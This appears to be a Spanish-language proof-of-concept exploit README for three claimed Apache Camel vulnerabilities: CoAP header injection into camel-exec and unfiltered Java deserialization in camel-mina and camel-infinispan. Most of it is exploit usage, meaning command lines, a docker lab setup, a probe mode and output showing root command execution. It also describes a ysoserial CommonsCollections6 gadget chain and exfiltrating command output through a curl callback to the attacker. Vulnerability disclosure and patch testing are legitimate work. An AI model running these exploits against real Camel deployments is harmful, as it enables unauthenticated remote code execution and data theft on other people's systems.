
Proporciona exploits de prueba de concepto funcionales y análisis detallado para tres vulnerabilidades críticas de Apache Camel, incluyendo inyección de cabeceras CoAP y deserialización insegura que conduce a ejecución remota de código.
Tres vulnerabilidades críticas en Apache Camel 4.18.0, descubiertas de forma independiente y validadas con exploits de prueba de concepto funcionales.
| CVE | Componente | Tipo | CVSS | Veredicto |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | Inyección de Cabeceras → RCE | 10.0 Crítico | Explotable |
| CVE-2026-40473 | camel-mina | Deserialización Insegura → RCE | 9.8 Crítico | Explotable |
| CVE-2026-40858 | camel-infinispan | Deserialización Insegura | 8.8 Alto | Explotable |
Componente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Modificación Controlada Incorrectamente de Atributos de Objetos)
Corregido en: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mapea los parámetros de consulta URI de CoAP directamente en las cabeceras del Camel Exchange mediante setHeader() sin HeaderFilterStrategy. CoAPEndpoint extiende DefaultEndpoint en lugar de DefaultHeaderFilterStrategyEndpoint, por lo que cualquier cliente no autenticado puede inyectar cabeceras internas con prefijo Camel*.
Cuando la ruta reenvía a camel-exec, las cabeceras controladas por el atacante CamelExecCommandExecutable y CamelExecCommandArgs sobrescriben el comando configurado, logrando RCE pre-autenticado mediante un único paquete UDP.
// CamelCoapResource.java:103-109 — SIN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Respuesta: 2.05
[+] Salida del comando: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Salida del comando: app bin boot dev etc home lib ...
Componente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Deserialización de Datos No Confiables)
Corregido en: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) crea un java.io.ObjectInputStream crudo sin ObjectInputFilter. Cuando un endpoint MINA está configurado con allowDefaultCodec=false, los datos TCP crudos llegan como un IoBuffer y alcanzan el convertidor de tipos de Camel, que llama a este método — envolviendo bytes de red controlados por el atacante en un ObjectInputStream sin filtrar.
// MinaConverter.java:60-63 — SIN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // bytes controlados por el atacante, SIN FILTRO
}
Ruta de ataque: El exploit apunta a un endpoint TCP MINA con allowDefaultCodec=false (puerto 9879 en el PoC). Esto evita por completo la capa de codec de MINA — la ObjectSerializationCodecFactory tiene su propia lista blanca ClassNameMatcher que de otro modo bloquearía clases arbitrarias. Con el codec deshabilitado, los bytes crudos fluyen directamente a MinaConverter.toObjectInput() que crea un ObjectInputStream estándar con cero filtrado de clases.
Una cadena de gadgets CommonsCollections6 (a través de ysoserial) logra ejecución arbitraria de comandos como root. La salida del comando se exfiltra mediante un callback curl al atacante.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Salida del comando:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMADO: CVE-2026-40473 RCE — comando ejecutado mediante deserialización
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Salida del comando:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Espere a que el contenedor se inicie y luego verifique:
docker logs vuln-camel-mina
Debería ver:

[*] Servidor MINA vulnerable iniciado
[*] Puerto 9877: endpoint transferExchange (deser Java)
[*] Puerto 9878: endpoint codec de serialización de objetos
[*] Puerto 9879: endpoint TCP crudo (MinaConverter.toObjectInput)
[*] Esperando conexiones...
El puerto 9879 es el objetivo — utiliza allowDefaultCodec=false, que deshabilita el filtro de codec de MINA y permite que el IoBuffer crudo llegue al MinaConverter.toObjectInput() sin filtrar de Camel.
Primero, verifique que el endpoint acepta y deserializa objetos Java arbitrarios sin ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Modo sonda — confirmando deserialización (sin RCE)
[*] Payload: HashMap (82 bytes, crudo — sin marco MINA)
[+] Conectado al endpoint MINA
[+] Payload enviado
[+] Los datos llegaron a readObject() sin rechazo de filtro
La sonda envía un HashMap serializado. El servidor lo deserializa mediante ObjectInputStream.readObject() sin InvalidClassException — confirmando cero filtrado de clases.
Con ysoserial disponible, explote la deserialización sin filtrar para ejecución arbitraria de comandos:
# Ejecutar 'id' — devuelve uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Leer archivos
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Información del sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
El exploit genera una cadena de gadgets CommonsCollections6, la envía como bytes crudos al puerto 9879 y captura la salida del comando mediante un listener de callback curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]